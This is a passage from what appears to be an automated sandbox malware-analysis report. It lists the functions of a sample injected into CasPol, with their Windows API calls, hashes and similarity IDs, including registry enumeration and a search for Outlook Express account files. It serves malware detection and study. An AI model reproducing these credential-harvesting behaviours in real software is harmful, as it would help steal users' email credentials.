                                                                                                                                                                  • Instruction ID: a6739743e39ca8df578777331d88ee5d3d666d95225ddaf8fc8e93cdb73399e2
                                                                                                                                                                  • Opcode Fuzzy Hash: 5347bd042121d238431eb3b74689eb21bcf5dbb0349685f5868c10f604f2f03d
                                                                                                                                                                  • Instruction Fuzzy Hash: 4811B975904109EFEB10DF95CD41ED9B77CEF20348F1004BAF988A2151EAB5AAC49B14
                                                                                                                                                                  Function 0044B42B Relevance: 3.1, APIs: 2, Instructions: 54memoryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,0044B41C,0044B405), ref: 0044B43E
                                                                                                                                                                  • VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,0044B41C,0044B405), ref: 0044B452
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ProtectVirtual
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 544645111-0
                                                                                                                                                                  • Opcode ID: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
                                                                                                                                                                  • Instruction ID: 565c9894d902a96607ae12053a83652f4dbbb150929c791eaa1536a67b179355
                                                                                                                                                                  • Opcode Fuzzy Hash: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
                                                                                                                                                                  • Instruction Fuzzy Hash: 83F0C201589A407DFE2155B50C42ABB5B8CCA27320B244B07F654CB383D79DC91A93FA
                                                                                                                                                                  Function 004029A2 Relevance: 3.0, APIs: 2, Instructions: 48registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • RegQueryValueExA.KERNEL32(00000400,?,00000000,?,?,?), ref: 004029D3
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,0000007F,00000000,00000000), ref: 00402A01
                                                                                                                                                                    • Part of subcall function 00406F06: strlen.MSVCRT ref: 00406F0B
                                                                                                                                                                    • Part of subcall function 00406F06: memcpy.MSVCRT(?,00401CA1,00000000,00000000,00401CA1,00000001), ref: 00406F20
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ByteCharMultiQueryValueWidememcpystrlen
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1208763047-0
                                                                                                                                                                  • Opcode ID: 3f072e78ae8ff50dccfb82ea1f6cac8499066c39a16d5267ba4970c6d85a246b
                                                                                                                                                                  • Instruction ID: 6870f833a154d6718f5b937b5a7666aa62b37853351f5b72213b77096f12c34b
                                                                                                                                                                  • Opcode Fuzzy Hash: 3f072e78ae8ff50dccfb82ea1f6cac8499066c39a16d5267ba4970c6d85a246b
                                                                                                                                                                  • Instruction Fuzzy Hash: BE0162B2504209FEEB119BA09CC9DABBB6CEB14358F108277F605B51C1DA749E589A28
                                                                                                                                                                  Function 00402A9D Relevance: 3.0, APIs: 2, Instructions: 48registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 00402ABC
                                                                                                                                                                    • Part of subcall function 00410B62: RegEnumKeyExA.KERNEL32(00000000,?,?,000000FF,00000000,00000000,00000000,?,?,00000000), ref: 00410B85
                                                                                                                                                                  • RegCloseKey.ADVAPI32 ref: 00402B17
                                                                                                                                                                    • Part of subcall function 00410A9C: RegOpenKeyExA.KERNEL32(00401C4C,00401C4C,00000000,00020019,?,00401C4C,?,?,?), ref: 00410AAF
                                                                                                                                                                    • Part of subcall function 00402A14: memset.MSVCRT ref: 00402A34
                                                                                                                                                                    • Part of subcall function 00402A14: RegCloseKey.KERNEL32 ref: 00402A95
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Closememset$EnumOpen
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1938129365-0
                                                                                                                                                                  • Opcode ID: ff5bff4591526617d1ef2bbbe04e9814357c404b1ae9404dde4026702917bfc3
                                                                                                                                                                  • Instruction ID: 075d2aef54253d1e507a5189515eddc1e36b9bc69c6417a4805569c48a28632c
                                                                                                                                                                  • Opcode Fuzzy Hash: ff5bff4591526617d1ef2bbbe04e9814357c404b1ae9404dde4026702917bfc3
                                                                                                                                                                  • Instruction Fuzzy Hash: E801ACB590010DAFEB20EF95CD85EEAB76CDF2434CF000076F544A1051FBB9AE989B64
                                                                                                                                                                  Function 00404734 Relevance: 3.0, APIs: 2, Instructions: 24libraryloaderCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00404785: FreeLibrary.KERNELBASE(?,?,0040F7FC,?,00000000), ref: 0040479A
                                                                                                                                                                  • LoadLibraryA.KERNEL32(?), ref: 0040473C
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,?,00000000), ref: 00404754
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Library$AddressFreeLoadProc
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 145871493-0
                                                                                                                                                                  • Opcode ID: e4129e6d3a026a155dd617c709f60e93ed044a3dbb6052f4ffd7ea6f87d7a192
                                                                                                                                                                  • Instruction ID: d196b3276b1a656cda378f5c53e28a4a33de773bbf59b12af1a3f4d2ec041ade
                                                                                                                                                                  • Opcode Fuzzy Hash: e4129e6d3a026a155dd617c709f60e93ed044a3dbb6052f4ffd7ea6f87d7a192
                                                                                                                                                                  • Instruction Fuzzy Hash: 35F065F8500B039BD7606F34D84879BB3E9AF86310F00453EF961A3281EB38E541CB58
                                                                                                                                                                  Function 00410A6B Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetPrivateProfileIntA.KERNEL32(?,?,?,?), ref: 00410A92
                                                                                                                                                                    • Part of subcall function 00410983: memset.MSVCRT ref: 004109A1
                                                                                                                                                                    • Part of subcall function 00410983: _itoa.MSVCRT ref: 004109B8
                                                                                                                                                                    • Part of subcall function 00410983: WritePrivateProfileStringA.KERNEL32(?,?,00000000), ref: 004109C7
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: PrivateProfile$StringWrite_itoamemset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 4165544737-0
                                                                                                                                                                  • Opcode ID: 0f5553da0f286b85af357dba121878114d67176469d1de62f709c8355ffa0996
                                                                                                                                                                  • Instruction ID: e4187046b5889157fb54d5f6e3f9ccfafaefd38d22cef98a7399574687248963
                                                                                                                                                                  • Opcode Fuzzy Hash: 0f5553da0f286b85af357dba121878114d67176469d1de62f709c8355ffa0996
                                                                                                                                                                  • Instruction Fuzzy Hash: 3DE0B63204020DBFDF125F90EC01AA97B66FF14355F14845AF95804131D37295B0AF94
                                                                                                                                                                  Function 00410B62 Relevance: 1.5, APIs: 1, Instructions: 18registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • RegEnumKeyExA.KERNEL32(00000000,?,?,000000FF,00000000,00000000,00000000,?,?,00000000), ref: 00410B85
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Enum
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2928410991-0
                                                                                                                                                                  • Opcode ID: c2d350ed5551c03cc907a7eb32ba1217be4922c2ffa8587e1fde7b1a80c71ac0
                                                                                                                                                                  • Instruction ID: 8a3f31470ea8a8b3d952542b098f2abe59e4a6ac9f2d43bd6bb9c8582bf8d7d6
                                                                                                                                                                  • Opcode Fuzzy Hash: c2d350ed5551c03cc907a7eb32ba1217be4922c2ffa8587e1fde7b1a80c71ac0
                                                                                                                                                                  • Instruction Fuzzy Hash: 4AD067B950010EFFDF01DFA0ED45DBE7BBDEB04208F008061BD15D2151D7719A15ABA4
                                                                                                                                                                  Function 00410ADD Relevance: 1.5, APIs: 1, Instructions: 16registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • RegQueryValueExA.KERNEL32(?,?,00000000,?,00401C6A,?,?,?,?,00401C6A,?,?,?), ref: 00410AF8
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: QueryValue
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3660427363-0
                                                                                                                                                                  • Opcode ID: 0efd375066d84b9126104ad8b8140e0b1f33649f9e97a4d5cf1c1528608a19b3
                                                                                                                                                                  • Instruction ID: d2a128bda891c33a071a1d1ce147914e72007c559b7d4fbb3b047f84c0d4c772
                                                                                                                                                                  • Opcode Fuzzy Hash: 0efd375066d84b9126104ad8b8140e0b1f33649f9e97a4d5cf1c1528608a19b3
                                                                                                                                                                  • Instruction Fuzzy Hash: 45D092B540020EFFDF018F81EC45EEE7BBDFB04348F104166BA05A6060E671AB55ABA4
                                                                                                                                                                  Function 00407560 Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • ReadFile.KERNELBASE(00000000,?,004441E4,00000000,00000000), ref: 00407577
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FileRead
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2738559852-0
                                                                                                                                                                  • Opcode ID: f65a168b1810926023e0ef961af8b8fe703345c76f3ebc05859e8d9c9091ddda
                                                                                                                                                                  • Instruction ID: 410abe984f7b5dc679d26b2641a37aa2388815a2676dab069d7a0e9e19a31d2a
                                                                                                                                                                  • Opcode Fuzzy Hash: f65a168b1810926023e0ef961af8b8fe703345c76f3ebc05859e8d9c9091ddda
                                                                                                                                                                  • Instruction Fuzzy Hash: ECD0C93501020DFBDF01CF80DC06FDD7BBDEB05359F108054BA0095160C7759A10AB94
                                                                                                                                                                  Function 00404785 Relevance: 1.5, APIs: 1, Instructions: 11COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • FreeLibrary.KERNELBASE(?,?,0040F7FC,?,00000000), ref: 0040479A
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FreeLibrary
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3664257935-0
                                                                                                                                                                  • Opcode ID: 4a0d43cc5f0709c12baa610e5074795180c2b0919147646b8d68fcb243e336cc
                                                                                                                                                                  • Instruction ID: 8a1fb59f4aee03ee333bbcbb21747f572c22b5e480e1b07aa067c0b07a2bbf9c
                                                                                                                                                                  • Opcode Fuzzy Hash: 4a0d43cc5f0709c12baa610e5074795180c2b0919147646b8d68fcb243e336cc
                                                                                                                                                                  • Instruction Fuzzy Hash: D2D012750013118FD7605F14FC4CBA173E8AF41312F1504B8E990A7196C3389540CA58
                                                                                                                                                                  Function 0040C580 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(?,00000000,0040CF3F,00000000,00000000,00000000,?,?,0040D05D), ref: 0040C591
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??3@
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 613200358-0
                                                                                                                                                                  • Opcode ID: dd6d2970aaea062af5faf5536e9b68aca625b47ba2737de5872cf1d66a7157d2
                                                                                                                                                                  • Instruction ID: 388ad9edf2a2a7c68189f8b324949551c1d57bd7625714ace597e57fc5aec2ed
                                                                                                                                                                  • Opcode Fuzzy Hash: dd6d2970aaea062af5faf5536e9b68aca625b47ba2737de5872cf1d66a7157d2
                                                                                                                                                                  • Instruction Fuzzy Hash: 77B09B7681A53096D43577153405BDE135C9FD575474701EBB5043B28545187D4141DD
                                                                                                                                                                  Function 00406D1A Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateFileA.KERNELBASE(00000000,40000000,00000001,00000000,00000002,00000000,00000000), ref: 00406D2C
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CreateFile
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 823142352-0
                                                                                                                                                                  • Opcode ID: 426545caef3dd143a0415f2b0fbb8f01fd74bbd6145b7d3b9bbfc6057fee2153
                                                                                                                                                                  • Instruction ID: b62e2d47ef034db7175ca84798afaf0fa2498f7b6fd9cc80310e9c1c0838826b
                                                                                                                                                                  • Opcode Fuzzy Hash: 426545caef3dd143a0415f2b0fbb8f01fd74bbd6145b7d3b9bbfc6057fee2153
                                                                                                                                                                  • Instruction Fuzzy Hash: 59C012F02503007EFF204F10AC4BF37355DE780700F204420BE00E40E2C2A14C008928
                                                                                                                                                                  Function 004107F1 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • FreeLibrary.KERNELBASE(?,00403C30), ref: 004107FD
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FreeLibrary
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3664257935-0
                                                                                                                                                                  • Opcode ID: 3a17cf7f6aedc8a82690d1348ce7bffc6ab01239e51e6fc2cf21b6a25e88fa5d
                                                                                                                                                                  • Instruction ID: 34cea44665fc180de0fd44d6926484b1362fa2b4776eba2aa4e53c033fc5eded
                                                                                                                                                                  • Opcode Fuzzy Hash: 3a17cf7f6aedc8a82690d1348ce7bffc6ab01239e51e6fc2cf21b6a25e88fa5d
                                                                                                                                                                  • Instruction Fuzzy Hash: 8CC04C355107018BE7219B12C949763B7E4BB00316F54C81894A695454D77CE494CE18
                                                                                                                                                                  Function 00407F90 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • FindClose.KERNELBASE(?,00407EAA,?,?,00000000,ACD,0044424D,*.oeaccount,ACD,?,00000104), ref: 00407F9A
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseFind
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1863332320-0
                                                                                                                                                                  • Opcode ID: 57b8da30fad5a7bddd67670d8939520a2ad49927f904eaf4d9e0c7dde32a44f9
                                                                                                                                                                  • Instruction ID: 6a16c08ea37d16c8a4aa15d9076e95747955e6fceefd1cb8b530e80fb020b3ed
                                                                                                                                                                  • Opcode Fuzzy Hash: 57b8da30fad5a7bddd67670d8939520a2ad49927f904eaf4d9e0c7dde32a44f9
                                                                                                                                                                  • Instruction Fuzzy Hash: 6DC092746165029FD22C5F38ECA942A77A1AF4A7303B80F6CE0F3D20F0E73898528A04
                                                                                                                                                                  Function 00410A9C Relevance: 1.5, APIs: 1, Instructions: 7registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • RegOpenKeyExA.KERNEL32(00401C4C,00401C4C,00000000,00020019,?,00401C4C,?,?,?), ref: 00410AAF
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Open
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 71445658-0
                                                                                                                                                                  • Opcode ID: dc2f54250d009d21d03b042bef434314c6075f5cef50a571bf2f69934a328f8c
                                                                                                                                                                  • Instruction ID: dc05f55a30c25c5fac933af4dde5d03becff9f0601af4caa575784a6c8c77920
                                                                                                                                                                  • Opcode Fuzzy Hash: dc2f54250d009d21d03b042bef434314c6075f5cef50a571bf2f69934a328f8c
                                                                                                                                                                  • Instruction Fuzzy Hash: F4C09B35545301FFDE114F40FD45F09BB61AB84B05F004414B244240B182714414EB17
                                                                                                                                                                  Function 00406F81 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetFileAttributesA.KERNELBASE(?,00401EE6,?), ref: 00406F85
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AttributesFile
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3188754299-0
                                                                                                                                                                  • Opcode ID: fa0a746f1e19b68873f4d8ea5d8c23283e8dccdc4d936350afbdeaa92e1ec6ad
                                                                                                                                                                  • Instruction ID: 9c49554ec541f0f53bfa1b31c7f3910b3cb34ca890cc3578c2bd02f8d22bfc28
                                                                                                                                                                  • Opcode Fuzzy Hash: fa0a746f1e19b68873f4d8ea5d8c23283e8dccdc4d936350afbdeaa92e1ec6ad
                                                                                                                                                                  • Instruction Fuzzy Hash: 0CB012B92110004BCB0807349C8904D36505F456317240B3CB033C01F0D720CCA0BE00

                                                                                                                                                                  Non-executed Functions

                                                                                                                                                                  Function 00401060 Relevance: 39.2, APIs: 26, Instructions: 186COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetDlgItem.USER32(?,000003EC), ref: 004010BC
                                                                                                                                                                  • ChildWindowFromPoint.USER32(?,?,?), ref: 004010CE
                                                                                                                                                                  • GetDlgItem.USER32(?,000003EE), ref: 00401103
                                                                                                                                                                  • ChildWindowFromPoint.USER32(?,?,?), ref: 00401110
                                                                                                                                                                  • GetDlgItem.USER32(?,000003EC), ref: 0040113E
                                                                                                                                                                  • ChildWindowFromPoint.USER32(?,?,?), ref: 00401150
                                                                                                                                                                  • LoadCursorA.USER32(00000067), ref: 0040115F
                                                                                                                                                                  • SetCursor.USER32(00000000), ref: 00401166
                                                                                                                                                                  • GetDlgItem.USER32(?,000003EE), ref: 00401186
                                                                                                                                                                  • ChildWindowFromPoint.USER32(?,?,?), ref: 00401193
                                                                                                                                                                  • GetDlgItem.USER32(?,000003EC), ref: 004011AD
                                                                                                                                                                  • SetBkMode.GDI32(?,00000001), ref: 004011B9
                                                                                                                                                                  • SetTextColor.GDI32(?,00C00000), ref: 004011C7
                                                                                                                                                                  • GetSysColorBrush.USER32(0000000F), ref: 004011CF
                                                                                                                                                                  • GetDlgItem.USER32(?,000003EE), ref: 004011EF
                                                                                                                                                                  • EndDialog.USER32(?,00000001), ref: 0040121A
                                                                                                                                                                  • DeleteObject.GDI32(?), ref: 00401226
                                                                                                                                                                  • GetDlgItem.USER32(?,000003ED), ref: 0040124A
                                                                                                                                                                  • ShowWindow.USER32(00000000), ref: 00401253
                                                                                                                                                                  • GetDlgItem.USER32(?,000003EE), ref: 0040125F
                                                                                                                                                                  • ShowWindow.USER32(00000000), ref: 00401262
                                                                                                                                                                  • SetDlgItemTextA.USER32(?,000003EE,0045A5E0), ref: 00401273
                                                                                                                                                                  • memset.MSVCRT ref: 0040128E
                                                                                                                                                                  • SetWindowTextA.USER32(?,00000000), ref: 004012AA
                                                                                                                                                                  • SetDlgItemTextA.USER32(?,000003EA,?), ref: 004012C2
                                                                                                                                                                  • SetDlgItemTextA.USER32(?,000003EC,?), ref: 004012D3
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogLoadModeObjectmemset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2998058495-0
                                                                                                                                                                  • Opcode ID: 6a1a0106eeb2062a51b7786bb007bda916ff9620d132a9d16e41ded145a17969
                                                                                                                                                                  • Instruction ID: d99c78195822e95bfb56004c40aa855916ae81609c5fc0371f4bc40fa141afdc
                                                                                                                                                                  • Opcode Fuzzy Hash: 6a1a0106eeb2062a51b7786bb007bda916ff9620d132a9d16e41ded145a17969
                                                                                                                                                                  • Instruction Fuzzy Hash: 2661AA35800248EBDF12AFA0DD85BAE7FA5BB05304F1881B6F904BA2F1C7B59D50DB58
                                                                                                                                                                  Function 00444059 Relevance: 9.1, APIs: 6, Instructions: 96stringCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • wcslen.MSVCRT ref: 0044406C
                                                                                                                                                                  • ??2@YAPAXI@Z.MSVCRT ref: 00444075
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,004441FB,000000FF,00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,004441FB,?,00000000), ref: 0044408E
                                                                                                                                                                    • Part of subcall function 0044338B: ??2@YAPAXI@Z.MSVCRT ref: 004433A0
                                                                                                                                                                    • Part of subcall function 0044338B: ??2@YAPAXI@Z.MSVCRT ref: 004433BE
                                                                                                                                                                    • Part of subcall function 0044338B: ??2@YAPAXI@Z.MSVCRT ref: 004433D9
                                                                                                                                                                    • Part of subcall function 0044338B: ??2@YAPAXI@Z.MSVCRT ref: 00443402
                                                                                                                                                                    • Part of subcall function 0044338B: ??2@YAPAXI@Z.MSVCRT ref: 00443426
                                                                                                                                                                  • strlen.MSVCRT ref: 004440D1
                                                                                                                                                                    • Part of subcall function 004434FC: ??3@YAXPAX@Z.MSVCRT(?,?,004440DF), ref: 00443507
                                                                                                                                                                    • Part of subcall function 004434FC: ??2@YAPAXI@Z.MSVCRT ref: 00443516
                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,004441FB), ref: 004440EB
                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(00000000,004441FB,?,00000000), ref: 0044417E
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??2@$??3@$ByteCharMultiWidememcpystrlenwcslen
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 577244452-0
                                                                                                                                                                  • Opcode ID: b68bf44ff0a216cc051a87f20d5bcca37ca8fef9720e645d8a392b89cae1757c
                                                                                                                                                                  • Instruction ID: 3a965f982735d3f8f3afa93a9d35b3cc19a0dc4d5d85c2e22613d8d88a70f0fa
                                                                                                                                                                  • Opcode Fuzzy Hash: b68bf44ff0a216cc051a87f20d5bcca37ca8fef9720e645d8a392b89cae1757c
                                                                                                                                                                  • Instruction Fuzzy Hash: 00317971800259AFEF21EF61C881ADDBBB4EF84314F0441AAF40863241DB396F85CF58
                                                                                                                                                                  Function 00409070 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • LoadMenuA.USER32(00000000), ref: 00409078
                                                                                                                                                                  • sprintf.MSVCRT ref: 0040909B
                                                                                                                                                                    • Part of subcall function 00408F1B: GetMenuItemCount.USER32(?), ref: 00408F31
                                                                                                                                                                    • Part of subcall function 00408F1B: memset.MSVCRT ref: 00408F55
                                                                                                                                                                    • Part of subcall function 00408F1B: GetMenuItemInfoA.USER32(?), ref: 00408F8B
                                                                                                                                                                    • Part of subcall function 00408F1B: memset.MSVCRT ref: 00408FB8
                                                                                                                                                                    • Part of subcall function 00408F1B: strchr.MSVCRT ref: 00408FC4
                                                                                                                                                                    • Part of subcall function 00408F1B: _mbscat.MSVCRT ref: 0040901F
                                                                                                                                                                    • Part of subcall function 00408F1B: ModifyMenuA.USER32(?,?,00000400,?,?), ref: 0040903B
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Menu$Itemmemset$CountInfoLoadModify_mbscatsprintfstrchr
                                                                                                                                                                  • String ID: menu_%d
                                                                                                                                                                  • API String ID: 1129539653-2417748251
                                                                                                                                                                  • Opcode ID: be058396830e840a3b70168f9115533db366257c5066184df4aab31ac4a42a38
                                                                                                                                                                  • Instruction ID: bbc3668ae8aad1463aedfde5e5dd5b48340f77aa4c3989790123ead7330def9b
                                                                                                                                                                  • Opcode Fuzzy Hash: be058396830e840a3b70168f9115533db366257c5066184df4aab31ac4a42a38
                                                                                                                                                                  • Instruction Fuzzy Hash: 2ED0C260A4124036EA2023366C0AF4B1A099BC271AF14022EF000B20C3EBFC844482BE